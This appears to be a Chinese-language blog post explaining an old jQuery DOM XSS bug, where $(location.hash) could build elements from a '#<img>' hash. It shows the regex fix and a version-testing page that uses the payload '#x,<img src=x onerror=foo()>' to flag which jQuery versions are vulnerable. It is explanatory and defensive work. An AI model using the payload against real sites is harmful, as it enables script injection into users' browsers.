$(“#id”)表示选择CSS元素
$(“<img>”)表示创建图片元素
这都是正常的功能
但在漏洞版本中
$(“#<img>”)也可以创建元素
所以$(location.hash)这句中,就可以通过对location.hash赋值#<img>使创建元素。达到XSS功能。
修复:
/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
改为
/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,
可见是在匹配中,缺少了对字符#的考虑。使得”#<img>也可以被匹配到
http://blog.mindedsecurity.com作者有做一个WEB程序来检测所有版本是否有此漏洞,也算是次利用。下面,就分析下检测过程。
源码:
<body style="font-family:sans-serif"> <h1>jQuery DOMXSS test-suite</h1> <p>Which jQuery versions are vulnerable against the <a href="http://bugs.jquery.com/ticket/9521" target="_blank">good old selector XSS</a></p> <script> for(i = 120; i<=200; i++){ j=(i+='').replace(/(\d)(\d)(\d)/, '$1.$2.$3'); document.body.appendChild(v=document.createElement('iframe'), v.id=i,v.src='test2.php?v='+j+'&id='+i+'#x,<img src=x onerror=foo()>'); } </script> <style>iframe{border:0; height: 50px; width:200px;}</style> </body>
在谷歌f12调试器中,得到其结果:
test2.php?v=1.2.5&id=125#x,<img src=x onerror=foo()>
以test2.php?v=1.2.3&id=123#x,<img src=x onerror=foo()> 为例:
源码:
<body style="background:green"> <h4>1.2.3 is safe</h4> <script onerror="top.document.body.removeChild(top.document.getElementById('123'))" src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.3/jquery.min.js" ></script> <script> function foo(){ document.body.style.background='red'; document.body.innerHTML=document.body.innerHTML.replace(/safe/gim, 'vulnerable'); } window.onload = function(){ $(location.hash); } </script>
可见foo()函数在其中是关键。其作用是使背景色变红,而默认是绿色的。
test2.php?v=1.2.3&id=123#x,<img src=x onerror=foo()> 中,
test2.php作用也就是根据参数v的值在界面中使用不同版本的JQuery,而且在界面中调用 $(location.hash).即 x,<img src=x onerror=foo()> 如果这段代码能得到执行,foo函数调用,背景成红色,证明这版本的JQuery是有这个漏洞的。
总结:JQuery也并不熟悉,这个漏洞并不算很严重的一个,但关键还是关于这漏洞的想法,可以衍射其它方面的思路。我比较喜欢是这个测试过程,在遍历所有版本中,对漏洞的触发和不触发之间,设置区别并显示。
参考:http://blog.mindedsecurity.com/2013/04/jquery-migrate-is-sink-too.html
XSS Wiki:http://code.google.com/p/domxsswiki/wiki/FindingDOMXSS